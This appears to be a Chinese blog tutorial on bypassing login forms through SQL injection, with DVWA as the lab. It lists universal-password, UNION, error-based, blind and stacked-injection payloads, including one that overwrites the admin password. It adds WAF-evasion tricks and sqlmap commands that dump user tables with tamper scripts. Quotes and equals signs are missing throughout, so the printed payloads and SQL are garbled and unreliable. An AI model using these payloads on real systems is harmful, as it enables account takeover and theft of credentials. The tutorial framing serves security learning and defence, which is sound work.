尧图精选

SQL注入绕过登录界面:从万能密码到sqlmap实战解析

🕒 发布时间:2026/9/12 3:10:03 📁 来源:尧图网络
去年做一次授权范围内的安全评估目标系统是兄弟单位内部的一个后台管理平台。当时端口扫描、目录扫描都没什么成果常规弱口令也全被拦住了我盯着登录页看了半天随手在用户名字段里敲了admin or 11 --密码随便填了一串回车居然真的登进去了。那一瞬间我就知道这个系统不少地方要重写了。这就是标题说的“SQL注入绕过登陆界面”不是玄学也不是什么高深技巧而是一类非常经典的鉴权漏洞——服务端在拼接SQL时没做参数化处理导致攻击者可以通过闭合、注释、条件构造等方式让登录校验逻辑直接失效。这篇文章我会从登录场景的具体SQL语句讲起拆解万能密码、注释绕过、UNION注入、盲注、堆叠注入等常见打法结合DVWA靶场来演示具体参数和Payload再补上WAF过滤绕过和sqlmap自动化的实战配置。适合正在学Web安全的初学者、CTF新手以及想搞清楚“登录框到底怎么防”的后端开发同学参考。1. 登录鉴权为什么会栽在SQL注入手里1.1 服务端校验逻辑的常见写法先看一个最典型的登录查询语句这段代码在我测过的系统里出现频率极高经典到几乎没什么变化$sql SELECT * FROM users WHERE username $username AND password $password;后端拿到的逻辑是从users表里查一条记录用户名匹配且密码匹配查到了就说明身份合法然后把会话标记为已登录。这段SQL本身看着没问题问题在于$username和$password这两个变量是直接拼进SQL字符串里的。用户输入什么SQL就变成什么。登录框从此不再是一个普通的表单而是一个可以直接操作数据库的输入口。顺带说一句这种写法在很多老旧PHP项目里特别常见尤其是用了所谓MVC框架但早期没有ORM的那批系统。后来普及的参数化查询PreparedStatement正是针对这个问题的标准解法但在存量系统里你永远猜不到哪个登录接口还留着老写法。1.2 注入原理的一句话拆解所谓“注入”本质就是破坏原有SQL语句的语法结构。拿万能密码来举例当用户在用户名输入admin or 11 --密码随便填xxx最终拼出来的SQL会变成SELECT * FROM users WHERE username admin or 11 -- AND password xxx注意看这里的变化admin用单引号闭合了原本的用户名字符串然后or 11构造了一个恒真条件最后--把后续的密码校验注释掉。整条SQL的语义就变成了“用户名是admin或者1等于1”1等于1永远成立所以查询一定会返回结果。数据库返回了数据后端就认为登录成功。这就是整套手法的核心思路闭合原有的上下文构造恶意的条件屏蔽不想执行的部分。后面的各种Payload不管多花哨本质上都逃不出这三步。2. 环境准备搭建DVWA靶场与抓包工具2.1 为什么选DVWA做练习DVWADamn Vulnerable Web Application是Web安全入门最老牌的靶场专门用来练习SQL注入、XSS、文件上传等常见漏洞。它的SQL Injection模块分了Low、Medium、High三个安全级别恰好对应三种不同的代码防御强度一个模块就能把“裸奔版注入→转义过滤→参数化查询”的演变过程完整串起来。Low级别的代码就是我上面写的那种普通字符串拼接漏洞直接裸奔Medium级别用了mysql_real_escape_string()转义单引号一上来就劝退不少只会抄Payload的新手High级别则直接改成PDO预处理能真正理解“参数化查询为什么能防注入”这比单纯背几条Payload有价值得多。2.2 环境搭建与抓包准备DVWA需要PHP和MySQL环境本地直接用XAMPP或者LAMP一键搭起来就行步骤很简单下载DVWA源码放到Web根目录访问http://127.0.0.1/dvwa/进入安装页。修改config/config.inc.php填上数据库账号密码默认一般是root和空密码。点击安装初始化数据库默认账号admin/password登录后把安全级别切到Low。打开SQL Injection模块看到用户名输入框就说明环境OK了。练习注入时建议同时备一个Burp Suite抓包工具。浏览器开发者工具也能凑合改参数但Burp在查看完整请求、重放数据包、写自动化脚本这几个场景下方便太多。实际测试中很多登录框有前端JS校验比如限制输入长度或者直接过滤特殊字符这种情况直接在浏览器里改是过不去的必须在Burp里拦截请求再修改后放行。绕过前端限制是渗透测试的日常操作说白了就是记住一句话前端所有校验都只是用户体验不是安全边界。3. 手工注入绕过登录的三种主流打法3.1 万能密码从 OR 11 说起万能密码是我每次测试登录框的第一个尝试速度快效果直接。核心Payload有这么几类Payload拼入SQL后的效果admin or 11 --恒真条件加上注释符最通用 or 11#MySQL中#也可以注释少写一个空格) or 11 --适用于SQL前有括号包裹的情况admin or 11#用户名处闭合密码任意第一行和第二行看起来差不多但实际测试中差别很大。有些系统的SQL拼接会在用户名外层加括号比如WHERE (username $username) AND password $password这时普通的单引号闭合就不够了得用)把括号一起闭合掉。所以Payload不是背得越多越好关键是理解当前SQL的上下文长什么样。万能密码在实际测试中成功率其实没那么夸张很多系统哪怕存在注入也可能因为代码写法差异导致Payload不生效。但它依然是排查登录接口是否有注入风险的第一筛子成本极低收益可能极高。3.2 注释符绕过让数据库忽略密码校验刚才提到的--和#是数据库里的注释符作用是把后面的所有内容变成注释密码校验子句就这样被“忽略”了。不同数据库的注释符还不太一样数据库类型注释符说明MySQL--注意横线后要跟空格、#、/*...*/--后必须有空格很多人栽在这里Oracle--横线后同样要跟空格SQL Server--用法相同PostgreSQL--通用这里有个特别容易翻车的细节MySQL的--注释符必须紧跟着一个空格写成admin--后面直接接别的字符是注释不掉的。有些教程里Payload写作admin--末尾带个空格这个空格也是有意义的。实际手测时很多人复现失败十有八九是注释符后头没留空格或者把#和--混着用了。3.3 UNION注入直接拖出用户表数据万能密码只能解决“能不能登录”的问题但登录进去看到的东西往往有限。真正更有价值的是UNION注入它能把users表里的用户名密码哈希直接拖出来拿回去离线破解或者直接构造登录。UNION注入的关键在于让原查询和UNION查询的字段数一致。先探测字段数在用户名输入admin ORDER BY 1 -- admin ORDER BY 2 -- admin ORDER BY 3 --当报错时说明字段数已经超过当前查询的列数。DVWA的登录查询是SELECT * FROM usersusers表有8个字段所以ORDER BY 8正常ORDER BY 9报错。确认字段数后用UNION查询暴露出哪个字段在页面上有回显admin UNION SELECT 1,2,3,4,5,6,7,8 --页面上显示出数字的位置就是回显位。接着把对应位置的数字替换成你想查的数据。查当前数据库名admin UNION SELECT 1,database(),3,4,5,6,7,8 --查所有表名admin UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schemadatabase() --这里的GROUP_CONCAT能把多行结果拼成一行方便在页面单点回显时一次看全所有表名。查到users表或管理员表后再查列名最后把用户名和密码哈希拖出来。这个过程就是CTF里常说的“通过SQL注入获取所有数据库名”的完整链路information_schema这个库是整个手法的关键所有表结构信息都存在里面。4. 进阶场景报错注入、布尔盲注与堆叠注入4.1 报错注入拿数据extractvalue与updatexml的实战参数有些登录接口是有报错信息回显的输入一个单引号页面上会吐出一段SQL错误。这种场景别光顾着确认“有注入”赶紧接着用报错注入函数把数据从数据库里“炸”出来。MySQL里最常用的是extractvalue和updatexml两个函数的原理相同——构造一个XPath表达式解析错误让数据库把我们要查的数据拼进错误信息里返回。典型Payloadadmin AND extractvalue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase()), 0x7e)) --0x7e是波浪号~的十六进制表示用来在错误信息里定位数据边界。数据库报错会显示类似XPATH syntax error: ~users~的内容把users提取出来就是我们要的表名。用updatexml写是等价的admin AND updatexml(1, CONCAT(0x7e, (SELECT password FROM users WHERE usernameadmin), 0x7e), 1) --有个细节值得注意extractvalue最多显示32个字符updatexml也一样。如果查出来的数据太长比如一长串MD5或者多个表名拼一起后半段会被截断。解决办法是分段取用SUBSTRING或MID函数慢慢截或者一次只查一条记录。4.2 布尔盲注页面真假里读信息没有报错回显页面也不显示数据内容只有“登录成功”和“登录失败”两种结果这时候就得靠布尔盲注。原理很简单通过构造真假条件观察页面响应差异一位一位地把数据猜出来。比如判断当前数据库名的长度admin AND LENGTH(database()) 1 --如果登录成功说明条件为真登录失败说明条件为假。然后继续二分法猜admin AND ASCII(SUBSTRING(database(),1,1)) 100 --ASCII码大于100说明第一个字符在字母表后段再继续折半逼近直到精确匹配。这种方式手工测非常慢真正在实战中都是用脚本自动跑或者直接交给sqlmap处理。判断是否真存在注入点有一个技巧先用AND 11看是否正常登录再用AND 12看是否登录失败如果两次结果不同说明后端确实在根据条件执行SQL注入点是真实存在的。4.3 堆叠注入干脆把密码改成我自己的如果能同时执行多条SQL语句那就更直接了——不用猜密码了直接把管理员的密码改掉或者插入一个新管理员账号。这种手法叫堆叠注入前提是后端用的数据库连接API支持多语句执行MySQL的mysql_query()不支持但mysqli_multi_query()和PDO在某些配置下是支持的。典型Payloadadmin; UPDATE users SET passwordnewpass WHERE usernameadmin --如果后端执行了这条语句那admin的密码就被改成了newpass。攻击者可以直接拿新密码登录。需要注意这里的newpass应该是MD5加密后的值因为很多系统的密码用的是MD5存储直接写明文可能匹配不上。存储格式不确定时可以先通过前面的注入手法查一下其他用户的密码哈希格式再照着改不然改了也白改。堆叠注入和UNION注入看起来都能拿数据但适用场景完全不一样。UNION注入要求两条查询的字段数一致运行环境也受限制堆叠注入则允许任意SQL语句执行包括写操作危害等级高得多。遇到这种能执行多语句的场景拿下整个服务器就只是时间问题了。5. 被过滤怎么办WAF绕过思路与实战手法5.1 关键字过滤的常规绕过现实中的登录接口往往不会裸奔中间可能挡着一层WAF或者代码层过滤。最常见的过滤方式就是黑名单屏蔽关键字比如把select、union、or这些词直接删掉或者替换成空字符串。这类过滤看起来唬人绕法其实很成熟。第一招是大小写混合老掉牙但依然有效尤其对只做了简单字符串匹配的过滤规则admin UnIoN SeLeCt 1,2,3,4,5,6,7,8 --第二招是双写绕过针对用str_replace(select, , $input)这种只替换一次的情况。输入selselectect过滤后变成select正好还原成目标关键字admin UNION SELSELECTECT 1,2,3,4,5,6,7,8 --这个技巧在热词里提到的“sql注入replace()”和“sql过滤字符后手工注入”场景中非常实用本质就是利用过滤逻辑只处理一遍的缺陷让过滤本身帮我们完成拼装。第三招是内联注释。MySQL支持一种特殊注释写法/*!50000SELECT*/里面的内容在MySQL解析时会当作真正的SQL执行但在外部过滤逻辑眼里它只是注释admin /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8 --这种手法在处理“死亡函数”场景时特别有用。所谓绕过死亡函数的三种方法——大小写、双写、内联注释——正好对应上面这三招。实际测试时建议按照这个顺序依次尝试大多数代码层过滤都能在这三步内突破。5.2 编码与等价函数替换过滤规则如果把关键字堵得比较死还可以试试编码绕过。URL编码是很多WAF容易漏过的%27代表单引号%20代表空格有些WAF只对明文做规则匹配对编码后的字符不识别。但如果后端获取参数后先做了urldecode()再拼SQL这种做法就无效了需要现场灵活判断。十六进制编码也很有用字符串可以用0x开头拼接admin UNION SELECT 1,0x7573657273,3,4,5,6,7,8 --0x7573657273解码后就是users。这能绕开对表名字符串的精确匹配过滤因为过滤规则里写死的users文本在请求里根本不存在。另外过滤规则如果堵了substr可以用MID或者SUBSTRING替代堵了sleep可以用BENCHMARK被过滤时用LIKE、IN或者REGEXP都是同一类思路。关键点在于过滤规则是人写的一定有遗漏等价替换就是不断试探各种写法的过程。5.3 参数加密场景下的绕过还遇到过一种登录接口参数经过Base64编码后才提交普通注入语句打过去根本没用。这种情况要先解出编码前的明文格式构造好注入Payload后再编码提交。比如前端传入的参数是dXNlcj1hZG1pbgBase64解码后是useradmin那把admin换成注入Payload整体编码后提交就行。有些系统还会在Base64外层再套一层自定义加密那就得先逆向前端JS逻辑找到加密方式。这种场景下Burp的Decoder模块就很方便加解密、编码解码一条龙操作。真实项目里参数加密并不是为了防注入更多是防重放或者隐藏参数语义但客观上确实挡住了很多扫描器的自动注入测试。手工测试时需要先摸清加密规则再在加密层内构造Payload说白了就是把加密也当成一层“过滤”来处理。6. 自动化sqlmap在绕过登录中的应用6.1 基础用法与常见参数手工注入一旦摸清注入点类型就可以上sqlmap收尾了尤其适合布尔盲注这种逐位猜测的场景。sqlmap在DVWA登录场景下的基本用法sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1 \ --cookiePHPSESSID你的会话ID; security_level0 \ --dbs--dbs是列出所有数据库--tables -D dvwa是指定数据库查表--dump -T users是拖users表数据。如果是POST表单加--data指定参数sqlmap -u http://127.0.0.1/dvwa/login.php \ --datausernameadminpasswordpassLoginLogin \ --cookiePHPSESSID你的会话ID \ --forms--forms能让sqlmap自动解析页面里的表单省去手工提取参数的工序。如果默认的探测级别不够深可能测不出注入点这时要加--level和--risk这两个参数控制的是测试的深度和风险程度一般用--level3 --risk2就足够大多数场景了。6.2 常见绕过tamper脚本sqlmap有个tamper机制本质上就是用一系列脚本对Payload做变形帮助绕过WAF和过滤规则。比较常用的几个sqlmap -u http://目标URL --datausernameadminpasswordpass \ --tamperspace2comment,between,randomcase \ --batchspace2comment把空格替换成注释符between把替换成BETWEENrandomcase随机大小写这几个组合在一起能应对大多数基础的过滤规则。双写过滤的场景也有对应脚本叫doubleurlencode或者直接在--tamper里加上自定义脚本写在sqlmap的tamper目录下即可。不过要提醒一句tamper不是开越多越好每个tamper都会让Payload变得更复杂部分特殊组合还可能互相冲突导致请求失效。实际情况下建议先单独测试每个脚本对目标是否有效再组合使用。6.3 小心谨慎自动化不等于无脑sqlmap虽然强但它有自己的局限。很多登录接口的注入点藏在复杂的业务逻辑后面比如需要多步操作才能进入的页面或者参数经过了加密sqlmap直接扫不出来。这时候老老实实回到手工测试摸清楚整个流程后再决定怎么注入。还有一点sqlmap默认在高风险模式下可能会执行写操作或者大量密集请求在授权测试时没问题但如果是在非授权环境下运行很容易把系统打崩。所有注入测试不管是手工还是自动化都必须在授权范围内进行。这句话不是空话是真出过事的。另外使用sqlmap做好指纹识别很重要先通过--current-user、--current-db确认当前数据库权限。如果当前用户是DBA那恭喜你注入的危害等级直接拉满但此时你更应该收着点别动生产数据。7. 常见问题与排查技巧实录7.1 单引号报错说明什么实际测试中输入单引号后页面出现SQL语法错误通常说明参数确实被拼进了SQL语句存在注入点。但这时要注意区分是“裸奔型注入”还是“转义型参数拼接”——前者单引号可以正常闭合后者单引号被addslashes()之类的函数转义成了\不会触发注入。判断方法很简单输入admin\如果页面恢复正常说明多半是转义了如果依然报错可能转义逻辑本身有缺陷比如使用了不常用的字符集导致宽字节注入。宽字节注入的经典场景是GBK编码攻击者输入%bf%27转义函数在单引号前加反斜杠但%bf%5c会被数据库当作一个合法的宽字符吃掉单引号反而逃了出来。这类问题在老系统里特别常见新系统基本都统一UTF-8了但存量老系统测试时还是值得留心。7.2 表名列名猜不出来怎么办手工注入时最头疼的不是构造Payload而是不知道表名、列名。information_schema库是MySQL的信息数据库里面存储了所有数据库、表、列的定义查它就可以了。前面UNION注入提到过查询语句模板如下-- 查表名 SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase(); -- 查列名 SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_nameusers;如果注入点连information_schema都查不了可能是权限不足也可能被WAF屏蔽了。这时可以用sqlmap的--common-tables和--common-columns参数它内置了常见的表名和列名字典一个一个试。老系统的用户表名就那么几种——users、admin、t_user、sys_user总能碰到一个。7.3 登录接口特有的坑加密密码与前端校验登录接口和普通注入点相比有几个特有的坑。第一个是密码字段很可能在提交前被前端加密比如MD5或者某种自定义算法这时后端拿到手的是密文SQL语句里比较的也是密文。注入测试最好聚焦在用户名参数上admin or 11 --这种只要用户名成立就完事密码随便填都能过反正被注释掉了。第二个是前端JS校验比如限制输入长度或直接禁止特殊字符。遇到这种直接用Burp拦截请求修改参数再放行前端校验根本拦不住。前端校验的目的从来都不是安全而是防误操作和提升用户体验测试时不用被它卡住。第三个是登录成功的判断依据可能是HTTP状态码、响应包里的标志位或者Set-Cookie各不相同。泛化一点说判断注入是否生效看的是响应差异只要注入前后页面响应有可观察到的变化就能用来判别真假。这种差异判断法在盲注场景下是所有后续操作的基础。最后说几句实操心得整套东西练下来有个体会特别深SQL注入绕过登录界面最难的从来不是记住几条Payload而是把目标系统的SQL语句结构“脑补”出来。你知道它是单引号闭合还是双引号闭合是括号包裹还是直接拼接Payload的构造方向就完全不一样。所以测试时不要只是拿着字典一顿乱试先花几分钟观察报错信息、参数格式、响应差异往往比盲打十几次更高效。把DVWA的SQL Injection从Low打到Medium再打到High能够比较完整地经历从裸奔注入到转义防护、再到参数化查询的整个演进过程。那个体验很直接——你亲手把一个漏洞利用成功然后在High级别发现无论如何都打不进去了这时候才真正理解参数化查询为什么被当成标准方案。说到底学绕过不是为了让谁去黑别人的系统而是为了在防守时知道刀会从哪里砍过来。只有亲手“打穿”过一个系统你在写下一行SQL的时候才会本能地多想一句这个地方能注入吗
上一篇/下一篇内容由系统自动关联 返回资讯列表 →